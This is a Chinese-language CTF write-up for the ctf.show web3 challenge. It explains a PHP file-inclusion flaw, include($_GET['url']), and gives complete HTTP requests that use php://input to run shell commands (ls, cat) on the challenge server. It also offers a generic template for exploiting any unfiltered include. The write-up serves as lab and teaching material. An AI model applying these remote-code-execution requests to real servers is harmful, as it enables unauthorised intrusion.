ctf.show_web3

抓包发送右键到Repeater中

把 Repeater 里的所有内容全部清空 ,粘贴这段最简可执行请求

双击到代码行中复制

复制代码
POST /?url=php://input HTTP/1.1
Host: 2667631b-bfee-4c6c-ab0d-b147c4281884.challenge.ctf.show
Content-Type: text/plain
Connection: close

<?php system("ls -l"); ?>
必须严格遵守的格式:
  • 第 4 行 Connection: close 后面必须按一次回车 ,空出一行,再写 <?php ... ?>
  • 不要加任何多余的请求头 (比如 User-AgentAccept 等),只保留这 4 行
  • 不要手动写 Content-Length,Burp 会自动计算

🚀 操作步骤(照着点)

  1. 在 Repeater 的 Request 编辑区,按 Ctrl+A 全选,再按 Delete 清空所有内容
  2. 把上面的代码完整粘贴进去
  3. 确认 Host 地址是你的目标地址:2667631b-bfee-4c6c-ab0d-b147c4281884.challenge.ctf.show
  4. 点击左上角的 Send 按钮
  5. 看 Response 区,你会看到目录列表,里面一定有 ctf_go_go_go

🎯 拿到目录后,读取 flag

把 PHP 代码替换成下面这段,再次点击 Send

http

复制代码
POST /?url=php://input HTTP/1.1
Host: 2667631b-bfee-4c6c-ab0d-b147c4281884.challenge.ctf.show
Content-Type: text/plain
Connection: close

<?php system("cat ctf_go_go_go"); ?>

Response 区会直接显示 flag{xxx},这就是最终答案!

一、题目源码(核心)

php

运行

复制代码
<?php
include($_GET['url']);
?>

这一行代码 = 整个题目的 100% 考点


二、逐行解析原理(超级大白话)

1. $_GET['url'] 是什么?

  • 作用 :接收浏览器 URL 里的 ?url=xxx 参数
  • 例子 访问 http://xxx/?url=123``$_GET['url'] 就等于 123

2. include(...) 是什么?

  • PHP 官方功能 :把指定文件内容读取出来,当作 PHP 代码执行
  • 可以包含:
    • 本地文件 a.php
    • 系统文件 /etc/passwd
    • PHP 伪协议 (重点!)
      • php://input
      • php://filter
      • data://text/plain,xxxx

3. 关键爆炸点:php://input 是什么?

这是这道题的核心武器!

php://input = 读取 POST 请求的原始数据

意思是:

php

运行

复制代码
include("php://input");

等于:

plaintext

复制代码
把 POST 请求体里的内容 → 当作 PHP 代码 → 直接执行!

三、整题攻击链原理(最关键)

攻击链 = 4 步黄金流程

1. 你访问

plaintext

复制代码
/?url=php://input

2. 服务器执行

php

运行

复制代码
include("php://input");

3. php://input 去读取 POST 数据

你 POST 什么内容,服务器就把什么当作 PHP 代码执行

4. 你 POST:

php

运行

复制代码
<?php system("ls"); ?>

服务器就会执行:

plaintext

复制代码
ls 列出当前目录文件

你 POST:

php

运行

复制代码
<?php system("cat ctf_go_go_go"); ?>

服务器就执行:

plaintext

复制代码
cat ctf_go_go_go 输出 flag

四、为什么必须用 POST?

因为:

  • php://input 只能读取 POST 原始数据
  • GET 请求没有请求体,没法传代码
  • 所以必须 GET → 改成 POST

五、为什么请求头和载荷之间必须空一行?

HTTP 协议规定:

plaintext

复制代码
请求头
请求头
(空行)
请求体

没有空行 = 服务器不知道 POST 数据从哪开始 空行 = 告诉服务器:"头结束了,下面是要执行的代码!"


六、这道题的完整攻击流程(原理版)

1. 触发文件包含

plaintext

复制代码
/?url=php://input

2. 服务器执行

php

运行

复制代码
include("php://input");

3. 构造 POST 请求,传入 PHP 代码

plaintext

复制代码
POST
空行
<?php system("ls"); ?>

4. 服务器执行命令,返回目录

plaintext

复制代码
index.php
ctf_go_go_go

5. 再 POST 读取 flag

plaintext

复制代码
<?php system("cat ctf_go_go_go"); ?>

6. 得到 flag

plaintext

复制代码
flag{xxxxxxxx}

七、这道题考察的所有知识点(面试 / CTF 必背)

  1. 文件包含漏洞 include($_GET['xxx']) 无过滤

  2. PHP 伪协议 php://input 读取 POST 数据执行代码

  3. HTTP 请求结构请求头 + 空行 + 请求体

  4. POST 方法使用传递 PHP 代码

  5. 系统命令执行 system("ls")``system("cat flag")

  6. 无任何防护的危险代码


八、同类题目万能解题模型(看到就秒解)

看到代码:

php

运行

复制代码
include($_GET['参数']);

固定解法:

plaintext

复制代码
POST /?参数=php://input HTTP/1.1
Host: xxx
Content-Type: text/plain
Connection: close

<?php system("ls"); ?>

流程:

  1. ls 看目录
  2. cat 读 flag
  3. 结束

🎯 一句话终极总结

这道题 = 文件包含 + php://input + POST 命令执行 = 直接拿 flag

相关推荐
鹏程十八少27 分钟前
2.2026金三银四 Android Handler 完全指南:28道高频面试题 + 源码解析 + 图解 (一文通关)
android·前端·面试
studyForMokey1 小时前
【Android面试】架构模式专题
android·面试·架构
SoulRed1 小时前
Android Studio 调试flutter gradle的问题
android·flutter·android studio
xiayiye51 小时前
Android开发之实现无重建无重启activity完成当前页面的主题切换
android·android换肤·app换肤·activity换肤不重建·activity换肤不销毁
JJay.2 小时前
Android BLE 断开重连为什么越来越不稳定
android
su_ym81102 小时前
Android.mk与Android.bp介绍
android
zhangphil2 小时前
Android Coil3图片解码Bitmap后存入磁盘,再次加载读磁盘Bitmap缓存
android·kotlin
我命由我123452 小时前
Android 开发问题:SharedPreferences 的 getString 方法返回值类型 Type mismatch 问题
android·java·java-ee·android studio·android jetpack·android-studio·android runtime
gjc5922 小时前
直击MySQL致命坑!GROUP_CONCAT默认截断不报错
android·数据库·mysql
Min_小明3 小时前
Android ANR 排查指南(思路、方法与实战案例)
android